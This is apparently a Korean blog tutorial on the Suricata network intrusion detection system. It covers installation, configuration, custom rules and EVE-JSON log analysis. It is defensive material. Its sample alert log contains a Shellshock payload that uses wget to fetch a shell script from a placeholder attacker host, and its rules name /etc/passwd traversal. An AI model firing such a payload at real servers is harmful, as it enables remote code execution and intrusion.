안녕? 우리집 네트워크는 안녕하신가?

야, 너 혹시 "우리 집 와이파이 비번은 빡세니까 괜찮아" 라거나 "나는 뭐 해킹당할 것도 없는 평범한 사람인데?" 라고 생각하고 있진 않아?
요즘 세상이 어떤 세상인데! 스마트폰, 노트북은 기본이고 TV, 냉장고, 심지어 전등까지 인터넷에 연결되는 IoT 시대잖아.
이 말은 즉, 우리 집 전체가 하나의 거대한 네트워크가 됐다는 거고, 해커들의 놀이터가 될 수 있다는 소리야. ㄷㄷ

회사 네트워크는 더 말할 것도 없지. 중요한 고객 정보, 영업 비밀, 개발 소스 코드까지...
한 번 털리면 회사가 휘청거릴 수도 있는 어마어마한 자산들이 다 네트워크를 통해 오고 간다고.
그래서 오늘은 이 소중한 우리들의 네트워크를 든든하게 지켜줄 핵인싸 보안 솔루션, **수리카타(Suricata)**에 대해 제대로 한 번 파헤쳐 보려고 해.
이 글 하나만 정독해도 "아, 네트워크 보안이 이런 거구나", "수리카타가 이렇게 돌아가는구나" 하면서 어깨에 뽕 좀 들어갈 수 있을 거야. 진짜로!

1. 수리카타, 너 정체가 뭐냐? (feat. 스노트 형님)

수리카타는 OISF(Open Information Security Foundation)라는 비영리 단체에서 개발하고 있는 오픈소스 기반의 네트워크 위협 탐지 엔진이야. 오픈소스라는 건 뭐다? *공짜다!* 물론 상용 솔루션 못지않은, 아니 어떤 면에서는 그 이상의 성능과 유연성을 자랑하지.

사실 이 바닥에는 **스노트(Snort)**라는 아주 유명한 형님이 먼저 계셨어. 거의 IDS/IPS의 시조새 격이라고 할 수 있지. 수리카타는 이 스노트의 영향을 많이 받았지만, 몇 가지 결정적인 차이점을 가지면서 '청출어람'을 이뤄냈어.

수리카타가 스노트보다 '핫'한 이유

• 멀티 스레딩 (Multi-threading)
  이게 제일 중요해. 별 다섯 개! ⭐️⭐️⭐️⭐️⭐️
  스노트는 기본적으로 싱글 스레드(Single-thread)로 동작했어. CPU 코어가 16개, 32개 있어도 딱 하나만 써서 패킷을 처리했다는 거야. 옛날에는 괜찮았지만, 요즘처럼 네트워크 트래픽이 기가(Giga)급, 텐지(10G)급으로 폭증하는 시대에는 어림도 없지. CPU 코어 하나가 죽어라 일하다가 결국 패킷을 놓치는(Packet Drop) 현상이 발생하거든.
  하지만 수리카타는 태생부터 멀티 스레딩을 염두에 두고 설계됐어. CPU 코어 여러 개를 동시에 갈궈서(?) 패킷을 병렬로 처리할 수 있다는 거지. 덕분에 훨씬 더 많은 트래픽을 놓치지 않고 안정적으로 처리할 수 있게 됐어. 이건 뭐, 경부고속도로가 1차선에서 8차선으로 확장된 거나 마찬가지야.

• 자동 프로토콜 탐지 (Automatic Protocol Detection)
  예전에는 "이건 80번 포트니까 HTTP 트래픽이겠지?" 라고 포트 번호만 보고 프로토콜을 판단했어. 근데 해커들이 바보가 아니잖아? 80번 포트로 위장해서 다른 프로토콜로 공격을 시도할 수도 있단 말이지.
  수리카타는 포트 번호에 의존하지 않고, 실제 패킷 내용을 까보고 "아, 이건 진짜 HTTP네", "어라? 이건 위장한 SSH인데?" 하고 스스로 판단해. 훨씬 더 정교하고 정확한 탐지가 가능해진 거지.

• 강력한 로깅 시스템 (EVE-JSON)
  수리카타는 모든 이벤트(탐지 알림, DNS 쿼리, HTTP 요청, TLS 핸드셰이크 등)를 **EVE-JSON**이라는 표준화된 JSON 형식으로 기록할 수 있어. 이게 왜 좋냐면, 나중에 설명할 ELK 스택 같은 로그 분석 시스템이랑 찰떡궁합이거든. 데이터를 분석하고 시각화하기가 정말 편해져. 그냥 로그를 쌓는 게 아니라, '빅데이터'로 활용할 수 있는 기반을 만들어주는 거야.

• 파일 추출 및 분석
  네트워크를 통해 오고 가는 파일들(exe, pdf, jpg 등)을 실시간으로 추출해서 저장할 수 있어. 그리고 이걸 바이러스 토탈(VirusTotal) 같은 외부 분석 시스템에 연동해서 악성 여부를 바로 확인할 수도 있지. "다운로드된 파일이 악성코드인지 아닌지 바로 검사해줘!"가 가능해진다는 거야. 엄청나지?

• 루아(Lua) 스크립팅 지원
  기존의 정적인 탐지 룰(Rule)만으로는 잡기 어려운 복잡한 공격들이 있어. 예를 들어, 여러 단계에 걸쳐서 아주 교묘하게 이뤄지는 공격 같은 것들. 수리카타는 루아(Lua)라는 스크립트 언어를 지원해서, 우리가 직접 복잡한 탐지 로직을 프로그래밍할 수 있게 해줘. 이건 뭐 거의 치트키 수준이야. 개발자라면 이 기능에 환장할 수밖에 없지.

2. 수리카타는 어떻게 돌아갈까? (엔진 해부도)

자, 그럼 이제 수리카타가 내부적으로 어떻게 패킷을 잡아서 분석하고 경고를 날리는지 그 과정을 한 번 뜯어보자. 이걸 이해하면 나중에 설정 파일을 만지거나 룰을 만들 때 훨씬 더 깊이 있게 접근할 수 있어.

1. 1단계: 패킷 수집 (Packet Acquisition)
   모든 것의 시작. 네트워크 인터페이스 카드(NIC, 랜카드)를 지나다니는 모든 데이터 패킷을 '낚아채는' 단계야. 이걸 '패킷 캡처'라고도 해. 수리카타는 다양한 방법으로 패킷을 캡처할 수 있어.
   - **pcap (libcap)**: 가장 전통적이고 일반적인 방식. 호환성이 좋지만 성능은 좀 떨어져.
   - **AF_PACKET**: 리눅스에서 고성능 패킷 캡처를 위해 사용하는 방식. pcap보다 훨씬 빨라. 보통 이걸 많이 써.
   - **NFQUEUE**: 리눅스 넷필터(방화벽)와 연동하는 방식. 패킷을 그냥 복사해오는 게 아니라, 아예 수리카타에게 "이거 통과시킬까 말까?" 하고 물어보는 거야. 바로 이 방식 덕분에 **IPS 모드**가 가능해져.
   - 이 외에도 Netmap, PF_RING 등 더 빠른 처리를 위한 다양한 모드를 지원해.

2. 2단계: 패킷 디코딩 및 전처리기 (Decode & Preprocessors)
   낚아챈 패킷은 그냥 0과 1로 이루어진 데이터 덩어리일 뿐이야. 이걸 의미 있는 정보로 해석하는 과정이 필요해. 이걸 '디코딩'이라고 해.
   - **디코더**: 이더넷 헤더, IP 헤더, TCP/UDP 헤더 등을 순서대로 까보면서 "아, 이건 IP 주소 XX에서 YY로 가는 TCP 패킷이고, 포트 번호는 80번이네" 하고 구조를 분석해.
   - **전처리기(Preprocessor)**: 디코딩된 데이터를 바탕으로 각 프로토콜에 맞는 추가적인 처리를 해. 예를 들어, HTTP 전처리기는 HTTP 요청/응답을 완전히 재조립해서 URI, 헤더, 본문 등을 분리해내고, DNS 전처리기는 DNS 쿼리와 응답을 파싱하는 식이야. 여기서 '자동 프로토콜 탐지'가 빛을 발하는 거지.

3. 3단계: 탐지 엔진 (Detection Engine)
   수리카타의 심장. 잘 정제된 데이터를 가지고 드디어 "나쁜 놈인지 아닌지" 검사하는 단계야. 뭘 기준으로? 바로 **시그니처(Signature)**, 다른 말로는 **룰(Rule)**을 기준으로!
   수천, 수만 개의 룰 세트가 있는데, 이 룰에는 알려진 악성코드의 특징, 해킹 공격 패턴 같은 것들이 빼곡하게 정의되어 있어. 탐지 엔진은 이 룰들과 네트워크 패킷을 하나하나 비교하면서 일치하는 게 있는지 찾는 거야. 마치 공항 검색대에서 수배자 명단이랑 승객 얼굴을 대조하는 것과 같아.
   여기서 수리카타의 멀티 스레딩 아키텍처가 제대로 작동해. 여러 개의 스레드가 룰 세트를 나눠서 동시에 검사하기 때문에 엄청난 속도로 탐지가 가능한 거지.

4. 4단계: 출력 및 로깅 (Output & Logging)
   탐지 엔진이 "찾았다, 요놈!" 하고 외치면, 출력 모듈이 이 사실을 우리에게 알려줘.
   - **알림(Alert)**: 가장 중요한 출력. 어떤 룰에 의해, 어떤 트래픽이 탐지되었는지 상세한 정보를 담은 알림을 생성해. `fast.log`나 `eve.json` 같은 파일에 기록되지.
   - **로깅(Logging)**: 알림 외에도 다양한 네트워크 이벤트를 기록해. "어떤 IP가 어떤 웹사이트에 접속했는지(HTTP 로그)", "어떤 도메인 이름을 질의했는지(DNS 로그)", "누구랑 누가 얼마나 통신했는지(Flow 로그)" 같은 것들 말이야. 이런 로그들은 나중에 해킹 사고를 분석할 때 아주 결정적인 단서가 돼.
   - **패킷 캡처(PCAP Logging)**: 탐지된 그 순간의 원본 패킷 데이터를 그대로 저장할 수도 있어. 이건 범죄 현장의 증거물을 확보하는 것과 같아서, 아주 정밀한 분석이 필요할 때 사용돼.

이 모든 과정이 수십만 분의 1초 단위로, 수많은 패킷에 대해 동시에 일어나고 있다고 상상해봐. 정말 대단하지 않아?
이 흐름을 이해하고 있으면, "어? 탐지가 잘 안 되네? 그럼 룰 문제일까, 아니면 전처리기가 프로토콜을 잘못 해석했나?" 하는 식으로 문제에 체계적으로 접근할 수 있게 될 거야.

3. 실전! 수리카타 설치하고 세팅하기 (우분투 기준)

자, 이제 이론은 충분히 배웠으니 직접 우리 손으로 수리카타를 설치하고 만져볼 시간이야. 여기서는 가장 대중적인 리눅스 배포판인 우분투(Ubuntu) 20.04/22.04 버전을 기준으로 설명할게. 다른 리눅스도 과정은 거의 비슷해.

Step 1: 설치하기

요즘은 세상이 좋아져서 복잡하게 소스 코드 받아서 컴파일할 필요 없이, 간단한 명령어로 설치할 수 있어. PPA(Personal Package Archive)라는 걸 이용해서 항상 최신 버전의 수리카타를 설치하는 걸 추천해.

# 1. 필요한 기본 패키지 설치
sudo apt-get update
sudo apt-get install software-properties-common

# 2. 수리카타 PPA 저장소 추가
sudo add-apt-repository ppa:oisf/suricata-stable

# 3. 패키지 목록 다시 업데이트하고 수리카타 설치
sudo apt-get update
sudo apt-get install suricata

이 명령어 몇 줄이면 설치 끝! 정말 간단하지?
설치가 잘 됐는지 버전을 확인해보자.

이 명령어를 쳤을 때 "This is Suricata version 7.x.x" 같은 메시지가 나오면 성공적으로 설치된 거야.

Step 2: 기본 설정 (suricata.yaml)

수리카타의 모든 설정은 `/etc/suricata/suricata.yaml` 이라는 파일 하나로 관리돼. 이 파일만 잘 만져주면 수리카타를 내 입맛에 맞게 조종할 수 있어. 처음 열어보면 내용이 엄청 많아서 쫄 수 있는데, 걱정 마. 핵심적인 것들만 짚어줄게.

먼저, 설정 파일을 열어보자. (수정하려면 `sudo`를 붙여야 해)

가장 중요한 설정: `HOME_NET`

이건 수리카타에게 "어디가 우리가 지켜야 할 내부 네트워크고, 어디가 외부 인터넷이야?" 라고 알려주는 설정이야. 이게 잘못되면 모든 탐지가 엉망이 되거나, 아예 탐지를 못 할 수도 있어. 제일 중요하니까 꼭 정확하게 설정해야 해.

파일을 열어서 `HOME_NET`을 검색해보면 보통 이렇게 되어 있을 거야.

vars:
# more specific is better for alert accuracy and performance
address-groups:
HOME_NET: "[192.168.0.0/16, 10.0.0.0/8, 172.16.0.0/12]"

기본적으로 사설 IP 대역이 다 포함되어 있는데, 이걸 **자신이 실제로 사용하는 네트워크 대역으로 바꿔주는 게 좋아.** 예를 들어, 내 내부 네트워크가 `192.168.10.0/24` 대역을 쓴다면 이렇게 바꾸는 거지.

`EXTERNAL_NET`은 보통 `!$HOME_NET` (HOME_NET이 아닌 모든 것)으로 설정되어 있는데, 이건 그냥 둬도 괜찮아.

어떤 네트워크 인터페이스를 감시할까?

수리카타가 어떤 랜카드를 통해 들어오는 패킷을 감시할지 정해줘야 해. `af-packet` 섹션을 찾아서 `interface`를 설정하면 돼. 먼저 내 리눅스 서버의 네트워크 인터페이스 이름을 확인하자.

결과에 `eth0`, `ens33`, `enp0s3` 같은 이름이 보일 거야. 그게 네 서버의 인터페이스 이름이야. 그걸 `suricata.yaml` 파일의 `af-packet` 섹션에 적어주면 돼.

af-packet:
- interface: eth0  # 여기에 네 인터페이스 이름을 적어!
# Number of receive threads
threads: 1
# Default cluster type is 'cluster_flow'
cluster-id: 99
cluster-type: cluster_flow
defrag: yes

만약 여러 개의 인터페이스를 감시하고 싶다면, `- interface: ...` 블록을 여러 개 만들어주면 돼.

Step 3: 탐지 룰(Rule) 업데이트하기

수리카타는 룰이 없으면 껍데기나 마찬가지야. 신종 공격은 매일같이 쏟아져 나오기 때문에, 이 룰을 항상 최신 상태로 유지해주는 게 정말 중요해. 다행히도 `suricata-update`라는 아주 편리한 도구가 있어.

다음 명령어로 룰을 최신 버전으로 다운로드하고 적용할 수 있어.

이걸 실행하면 Emerging Threats (ET) Open 이라는 아주 유명한 무료 룰셋을 자동으로 받아와. 처음 실행하면 시간이 좀 걸릴 수 있어. 앞으로는 이 명령어를 주기적으로 (예를 들어 하루에 한 번) 실행해서 룰을 업데이트해주면 돼. (crontab에 등록해두면 편하겠지?)

Step 4: 수리카타 실행하고 테스트하기

자, 이제 모든 준비가 끝났어. 수리카타를 서비스로 등록하고 실행해보자.

# 수리카타를 시스템 부팅 시 자동으로 시작하도록 등록
sudo systemctl enable suricata

# 수리카타 서비스 시작
sudo systemctl start suricata

# 수리카타 서비스 상태 확인
sudo systemctl status suricata

`active (running)` 이라고 초록색 글씨가 보이면 성공적으로 실행된 거야!

이제 수리카타가 열심히 로그를 쌓고 있을 거야. 기본 로그 파일은 `/var/log/suricata/` 디렉토리에 있어. 특히 우리가 주목해야 할 파일은 `eve.json`이야.

# 실시간으로 eve.json 로그 확인하기
sudo tail -f /var/log/suricata/eve.json

이 상태에서 다른 터미널을 열고, 테스트용 악성 행위를 시뮬레이션해볼 수 있어. 가장 간단한 방법은 `curl` 명령어로 테스트용 시그니처에 걸리는 사이트에 접속해보는 거야.

이 명령어를 실행하고 나서, 아까 `tail -f`로 보고 있던 `eve.json` 로그를 다시 봐봐. 아마 아래와 비슷한 내용의 `"event_type":"alert"` 로그가 찍히는 걸 볼 수 있을 거야!

{"timestamp":"...", "event_type":"alert", "src_ip":"192.168.10.10", "dest_ip":"...", "alert":{"action":"allowed", "gid":1, "signature_id":2100498, "rev":7, "signature":"GPL ATTACK_RESPONSE id check returned root", "category":"Potential Corporate Privacy Violation", "severity":1}}

이 로그가 보였다면, 축하해! 넌 이제 성공적으로 동작하는 네트워크 침입 탐지 시스템을 갖게 된 거야.
물론 이건 아주 기초적인 설정이고, 실제 운영 환경에서는 성능 튜닝, 룰 관리, 로그 분석 시스템 연동 등 더 많은 작업이 필요해. 이런 복잡한 설정이나 전문적인 분석이 필요하다면 **재능넷** 같은 플랫폼에서 보안 전문가의 도움을 받는 것도 좋은 방법이야. 전문가들은 우리가 놓치기 쉬운 디테일까지 꼼꼼하게 챙겨줄 수 있거든.

4. 나만의 룰 만들기 (feat. 창과 방패)

기본으로 제공되는 룰셋도 훌륭하지만, 때로는 우리 회사, 우리 서비스에만 특화된 공격을 탐지해야 할 때가 있어. 예를 들어, "우리 회사 관리자 페이지에 외부 IP가 로그인하려고 시도하면 무조건 알려줘!" 라거나, "특정 API에 비정상적인 파라미터가 들어오면 탐지해줘!" 같은 요구사항들 말이야. 이럴 때 필요한 게 바로 **커스텀 룰(Custom Rule)** 작성 능력이야.

수리카타 룰은 정해진 문법에 따라 만드는 텍스트 한 줄이야. 처음엔 좀 외계어 같아 보이지만, 구조를 알고 나면 생각보다 간단해.

수리카타 룰의 기본 구조

룰은 크게 **헤더(Header)**와 **옵션(Options)** 두 부분으로 나뉘어.

`[액션] [프로토콜] [출발지 IP] [출발지 포트] -> [목적지 IP] [목적지 포트] ( [옵션] )`

룰 헤더(Header) 파헤치기

• 액션(Action): 탐지했을 때 뭘 할지 결정.
  • `alert`: 알림을 생성하고 로그를 남김. (IDS 모드)
  • `pass`: 이 룰에 해당하면 더 이상 다른 룰을 검사하지 않고 그냥 통과시킴. (예외 처리용)
  • `drop`: 패킷을 버리고 알림을 생성. (IPS 모드)
  • `reject`: 패킷을 버리고 상대방에게 "나 바빠(TCP RST)" 또는 "그런데 없어(ICMP Unreachable)" 라고 응답까지 해줌. (IPS 모드)
• 프로토콜(Protocol): 어떤 프로토콜을 검사할지 지정. `tcp`, `udp`, `icmp`, `http`, `dns` 등 다양하게 지정 가능.
• IP 및 포트: `$`로 시작하는 변수(`$HOME_NET`, `$EXTERNAL_NET`)를 사용하거나, 특정 IP 주소(`1.2.3.4`), CIDR 형식(`1.2.3.0/24`)으로 지정할 수 있어. `any`는 '모든' 이라는 뜻. `->` 화살표는 방향을 나타내.

룰 옵션(Options) 파헤치기 (진짜 마법은 여기서부터)

옵션은 괄호 `()` 안에 `키워드:값;` 형태로 여러 개를 쓸 수 있어. 이게 룰의 핵심이야.

• `msg`: 필수 옵션. 탐지되었을 때 로그에 표시될 메시지. "어떤 위협인지" 알기 쉽게 적어주는 게 중요.
  예: `msg:"[MY-RULE] Admin Page Login Attempt from External IP";`

• `content`: 룰의 심장. 패킷 안에서 찾고 싶은 특정 문자열이나 바이너리 패턴을 지정.
  예: `content:"/admin/login.php";` (HTTP 요청에서 "/admin/login.php" 문자열 찾기)

• `sid` (Signature ID): 필수 옵션. 모든 룰은 고유한 ID를 가져야 해. 다른 룰과 겹치면 안 돼! 보통 커스텀 룰은 1,000,000번 이상으로 만들어.
  예: `sid:1000001;`

• `rev` (Revision): 필수 옵션. 룰의 버전 번호. 룰을 수정할 때마다 1씩 올려주면 관리하기 편해.
  예: `rev:1;`

• `classtype`: 이 위협이 어떤 종류인지 분류. `trojan-activity`, `web-application-attack`, `policy-violation` 등 미리 정의된 분류를 사용. 로그 분석할 때 필터링하기 좋아져.

• `flow`: TCP 세션의 상태를 추적하는 아주 중요한 옵션.
  예: `flow:to_server,established;` (클라이언트에서 서버로 가는, 이미 연결이 수립된 세션에서만 검사)

• `http.uri`, `http.method`, `http.header` 등: `http.`으로 시작하는 키워드들은 HTTP 트래픽을 아주 정밀하게 분석할 수 있게 해줘. `content`보다 훨씬 효율적이야.
  예: `http.method; content:"POST"; http.uri; content:"/login";` (POST 방식으로 /login에 요청하는 트래픽)

• `tls.sni`: HTTPS 트래픽은 암호화되어 있어서 내용을 볼 수 없지만, TLS 핸드셰이크 과정에서 클라이언트가 어떤 도메인에 접속하려는지(SNI)는 평문으로 노출돼. 이걸 잡아서 특정 사이트 접속을 탐지할 수 있어.
  예: `tls.sni; content:"malware-c2.com";` ("malware-c2.com"으로의 HTTPS 접속 시도 탐지)

실전! 커스텀 룰 만들어보기

자, 그럼 이제 직접 룰을 만들어보자. 우리의 목표는 "외부에서 우리 회사 웹서버의 `/etc/passwd` 파일을 읽으려는 시도를 탐지"하는 거야. 이건 아주 전형적인 웹 해킹 시도(Directory Traversal) 중 하나지.

먼저, 커스텀 룰을 저장할 파일을 만들자.

그리고 그 파일 안에 아래 내용을 입력해.

alert http $EXTERNAL_NET any -> $HOME_NET 80 (msg:"[CUSTOM] Directory Traversal Attempt (/etc/passwd)"; flow:to_server,established; http.uri; content:"/etc/passwd"; classtype:web-application-attack; sid:1000001; rev:1;)

룰을 한 번 해석해볼까?

• `alert http`: HTTP 프로토콜에 대해 알림을 발생시켜라.
• `$EXTERNAL_NET any -> $HOME_NET 80`: 외부 네트워크(any 포트)에서 내부 네트워크(80번 포트)로 들어오는 트래픽에 대해.
• `msg:"..."`: 로그 메시지는 "[CUSTOM] Directory Traversal Attempt (/etc/passwd)"로 남겨라.
• `flow:to_server,established`: 연결이 수립된 후, 클라이언트가 서버로 보내는 요청에서만 찾아라.
• `http.uri; content:"/etc/passwd";`: HTTP 요청 URI 안에 "/etc/passwd" 라는 문자열이 포함되어 있는지 확인해라.
• `classtype:web-application-attack`: 이건 '웹 애플리케이션 공격' 유형으로 분류해라.
• `sid:1000001; rev:1;`: 이 룰의 고유 ID는 1000001이고, 버전은 1이다.

룰을 저장했으면, 수리카타가 이 파일을 읽도록 `suricata.yaml` 설정 파일에 알려줘야 해. `rule-files` 섹션을 찾아서 방금 만든 `local.rules`를 추가해주자.

rule-files:
- suricata.rules
- local.rules   # <-- 이 줄을 추가!

이제 설정을 적용하기 위해 수리카타를 재시작하자.

테스트를 위해 외부에서 웹서버로 다음과 같은 요청을 보내보면? (`[웹서버IP]`는 실제 서버 IP로 바꿔서)

빙고! `/var/log/suricata/eve.json` 파일에 우리가 만든 `sid:1000001` 룰에 의한 알림이 멋지게 찍히는 걸 볼 수 있을 거야.
이런 식으로 우리 조직의 특성에 맞는 룰을 하나씩 추가해나가면, 기성복이 아니라 맞춤 정장처럼 우리 네트워크에 꼭 맞는 보안 시스템을 만들 수 있어. 개발 지식이 있다면 이런 룰 작성 능력은 정말 강력한 무기가 될 수 있지. 이런 전문적인 룰셋을 구축하고 관리하는 것도 훌륭한 재능 공유 아이템이 될 수 있을 거야. **재능넷** 같은 곳에서 말이지!

5. 로그 분석: 범인은 이 안에 있다!

수리카타가 열심히 탐지하고 로그를 쌓아두면 뭐해? 그걸 보고 해석할 줄 모르면 그냥 비싼 저장 공간 낭비일 뿐이야. 진짜 보안 전문가는 로그 속에서 진짜 위협과 가짜 위협(False Positive)을 가려내고, 공격의 전말을 파악하는 '디지털 탐정' 같은 사람들이야.

EVE-JSON, 모든 것을 담고 있는 보물 상자

앞에서도 잠깐 언급했지만, 수리카타의 `eve.json` 로그는 현대적인 로그 분석의 핵심이야. JSON(JavaScript Object Notation)은 사람이 읽기도 편하고, 기계가 파싱하기도 좋은 데이터 형식이지. `eve.json` 파일에는 하나의 이벤트가 한 줄의 JSON 객체로 기록돼.

로그를 한 번 까보자. `alert` 이벤트는 보통 이렇게 생겼어.

{
"timestamp": "2023-10-27T10:30:05.123456+0900",
"flow_id": 1234567890,
"in_iface": "eth0",
"event_type": "alert",
"src_ip": "1.2.3.4",
"src_port": 54321,
"dest_ip": "192.168.10.100",
"dest_port": 80,
"proto": "TCP",
"alert": {
"action": "allowed",
"gid": 1,
"signature_id": 2018959,
"rev": 5,
"signature": "ET WEB_SERVER Possible CVE-2014-6271 Shellshock Attack",
"category": "Web Server Attack",
"severity": 1
},
"http": {
"hostname": "www.victim.com",
"url": "/cgi-bin/test.sh",
"http_user_agent": "() { :;}; /bin/bash -c 'wget http://hacker.com/shell.sh -O /tmp/s.sh'",
"http_method": "GET",
"protocol": "HTTP/1.1",
"status": 200
},
"flow": {
"pkts_toserver": 5,
"pkts_toclinet": 3,
"bytes_toserver": 1024,
"bytes_toclient": 4096,
"start": "2023-10-27T10:30:04.987654+0900"
}
}

와, 정보가 엄청나지? 이걸 해석해보면,

• `timestamp`: 2023년 10월 27일 10시 30분 5초에 발생한 이벤트.
• `event_type`: "alert", 즉 침입 탐지 알림이야.
• `src_ip`, `dest_ip`: 공격자 IP(1.2.3.4)와 공격받은 서버 IP(192.168.10.100)를 알 수 있어.
• `alert.signature`: "ET WEB_SERVER Possible CVE-2014-6271 Shellshock Attack" 라는 룰에 걸렸네. 아, 이건 쉘쇼크 공격 시도구나!
• `alert.severity`: 심각도는 1 (가장 높음).
• `http.url`: `/cgi-bin/test.sh` 라는 경로로 공격이 들어왔고,
• `http.http_user_agent`: User-Agent 헤더에 `() { :;}; /bin/bash -c '...'` 라는 쉘쇼크 공격 페이로드가 그대로 담겨있어. 해커가 `wget`으로 악성 쉘 스크립트를 다운로드하려고 했네. 완전 빼박 증거!

`eve.json`에는 `alert` 말고도 다양한 `event_type`이 있어.

• `http`: 모든 HTTP 요청/응답 로그
• `dns`: 모든 DNS 쿼리/응답 로그
• `tls`: TLS/SSL 핸드셰이크 정보 (접속하려는 도메인, 인증서 정보 등)
• `flow`: TCP/UDP 세션 시작과 끝 정보 (누가 누구와 얼마나 통신했는지)
• `fileinfo`: 네트워크를 통해 전송된 파일 정보 (파일명, 크기, 해시값 등)

이 정보들을 조합하면, "해커가 어떤 사이트를 통해 우리 회사로 침투했고(DNS, HTTP 로그), 어떤 취약점을 공격했으며(Alert 로그), 그 결과 어떤 파일을 다운로드했는지(Fileinfo 로그)" 같은 전체 공격 시나리오를 재구성할 수 있게 돼. 이게 바로 '위협 헌팅(Threat Hunting)'의 기본이야.

로그 분석의 끝판왕: ELK 스택 연동

매일 수십, 수백만 줄씩 쌓이는 `eve.json` 파일을 `tail`이나 `grep`으로만 보는 건 불가능에 가까워. 그래서 보통 **SIEM(Security Information and Event Management)** 이라는 통합 로그 분석 시스템을 구축하는데, 그중에서도 오픈소스로 가장 유명한 게 바로 **ELK 스택**이야.

• **E**lasticsearch: 로그를 저장하고 검색하는 검색 엔진. (데이터베이스 역할)
• **L**ogstash: 다양한 소스에서 로그를 수집하고, 정제해서 Elasticsearch로 보내는 역할. (수집기)
• **K**ibana: Elasticsearch에 저장된 데이터를 시각화하고 분석하는 대시보드. (분석 도구)

(요즘은 Logstash 대신 더 가벼운 **Beats**를 많이 써서 **Elastic Stack**이라고 불러.)

수리카타 서버에 Filebeat를 설치해서 `eve.json` 파일을 감시하게 설정해두면, 새로운 로그가 생길 때마다 Filebeat가 이걸 Elasticsearch로 실시간 전송해줘. 그럼 우리는 Kibana에 접속해서 이런 것들을 할 수 있게 돼.

• "지난 24시간 동안 가장 많이 발생한 알림은 뭐지?" (Top N 쿼리)
• "중국에서 들어온 공격 시도는 얼마나 되지?" (IP 국가 정보 기반 필터링 및 지도 시각화)
• "특정 악성코드 C&C 서버와 통신한 내부 IP는 누구야?" (검색 및 드릴다운 분석)
• 시간대별 알림 발생 추이, 프로토콜별 트래픽 분포 등을 그래프로 한눈에 파악.

이렇게 되면 더 이상 로그는 단순한 텍스트 파일이 아니라, 인사이트를 주는 살아있는 데이터가 되는 거야. 보안 관제의 효율성이 말도 안 되게 올라가는 거지. ELK 스택 구축은 내용이 방대해서 여기서 다 다루긴 어렵지만, 수리카타를 제대로 활용하기 위한 최종 목표라고 생각하면 돼.

6. 수리카타, 어디까지 써봤니? (고급 기능 & 미래)

지금까지 다룬 내용만으로도 수리카타의 강력함을 충분히 느꼈을 거야. 하지만 수리카타의 잠재력은 여기서 끝나지 않아. 전문가의 영역으로 넘어가면 더 무궁무진한 활용법이 기다리고 있지.

IPS 모드: 탐지를 넘어 방어로

지금까지는 IDS(탐지) 모드를 기준으로 설명했지만, 수리카타를 IPS(방지) 모드로 운영하면 탐지된 악성 트래픽을 실시간으로 차단할 수 있어. 리눅스에서는 `NFQUEUE`를 이용하는 게 일반적이야.

원리는 이래. 리눅스의 방화벽(`iptables` 또는 `nftables`)에서 특정 트래픽을 바로 처리하지 않고, `NFQUEUE`라는 '대기열'로 보내. 그럼 수리카타가 이 대기열에 있는 패킷을 가져다가 검사한 뒤, "이건 괜찮아(ACCEPT)", "이건 나쁜 놈이야(DROP)" 라고 판정을 내려주는 거지. 이 판정에 따라 커널이 패킷을 통과시키거나 버리게 돼.

설정 방법은 `suricata.yaml`에서 실행 모드를 `af-packet` 대신 `nfqueue`로 바꾸고, `iptables`에서 규칙을 추가해주면 돼.

# iptables 규칙 예시 (서버로 들어오는 모든 트래픽을 NFQUEUE 0번으로 보냄)
sudo iptables -I INPUT -j NFQUEUE --queue-num 0
sudo iptables -I OUTPUT -j NFQUEUE --queue-num 0

Lua 스크립팅: 룰로 안 되는 거 다 돼!

정적인 룰로는 탐지하기 어려운, 아주 복잡한 로직이 필요할 때가 있어. 예를 들어,

• "HTTP 요청 헤더 A의 값과 응답 헤더 B의 값을 비교해서 특정 조건이 맞으면 탐지해줘."
• "우리 회사에서만 쓰는 독자적인 프로토콜을 파싱해서 분석하고 싶어."
• "DNS 쿼리 패턴을 분석해서 DGA(Domain Generation Algorithm) 봇넷을 찾아내고 싶어."

이런 건 일반 룰로는 거의 불가능해. 이럴 때 루아(Lua) 스크립트를 사용하는 거야. 수리카타는 룰에서 특정 조건이 맞으면 지정된 루아 스크립트를 실행시킬 수 있는 기능을 제공해. 스크립트 안에서는 패킷의 거의 모든 정보에 접근하고, 복잡한 연산을 수행하고, 상태를 저장하고, 동적으로 알림을 생성할 수 있어. 이건 뭐 거의 수리카타의 기능을 무한히 확장할 수 있는 치트키나 다름없지. 물론 프로그래밍 능력이 필요하지만, 그만큼 강력한 커스텀 탐지가 가능해져.

파일 추출과 자동 분석 연동

수리카타는 네트워크 트래픽에서 파일을 실시간으로 추출하는 기능이 있다고 했지? 여기서 한 발 더 나아가면, 추출된 파일을 자동으로 분석하는 시스템을 만들 수 있어.

예를 들어, HTTP를 통해 `.exe` 파일이 다운로드되면 수리카타가 이걸 추출해서 특정 디렉토리에 저장해. 그럼 그 디렉토리를 감시하고 있던 스크립트가 새로운 파일이 생기면 자동으로 **VirusTotal API**에 파일 해시를 조회하거나, **Cuckoo Sandbox** 같은 분석 시스템에 파일을 던져서 동적 행위 분석을 수행하는 거야. 그리고 그 분석 결과를 다시 수리카타 로그나 SIEM으로 보내서 종합적으로 판단하는 거지. 이렇게 되면 악성 파일이 실행되기도 전에 위협을 인지하고 대응할 수 있게 돼.

네트워크 보안의 미래와 수리카타의 역할

최근 보안 트렌드는 **제로 트러스트(Zero Trust)**, **XDR(Extended Detection and Response)** 같은 개념으로 넘어가고 있어. '내부망은 안전하다'는 가정을 버리고 모든 것을 의심하고 검증하며, 엔드포인트, 네트워크, 클라우드 등 모든 영역의 데이터를 통합 분석해서 위협에 대응하자는 거야.

이런 거대한 흐름 속에서 수리카타 같은 NIDS/IPS의 역할은 여전히, 아니 오히려 더 중요해. 네트워크는 모든 데이터가 지나가는 길목이기 때문에, 여기서 얻는 정보는 위협 분석의 가장 기본이 되는 'Ground Truth'거든. 수리카타가 제공하는 풍부한 네트워크 트랜잭션 로그는 XDR 솔루션의 가장 중요한 데이터 소스 중 하나로 활용될 수 있어.

앞으로는 AI/머신러닝 기술이 수리카타와 결합되어, 시그니처 기반 탐지의 한계를 넘어서는 '비정상 행위 탐지(Anomaly Detection)'가 더욱 고도화될 거야. "평소와 다른 이상한 트래픽 패턴이 보이는데? 이건 알려지지 않은 새로운 공격일지도 몰라!" 하고 알려주는 거지. 수리카타는 이런 미래 기술을 받아들일 수 있는 유연한 플랫폼을 이미 갖추고 있어.

마치며: 이제 너도 네트워크 보안 전문가!

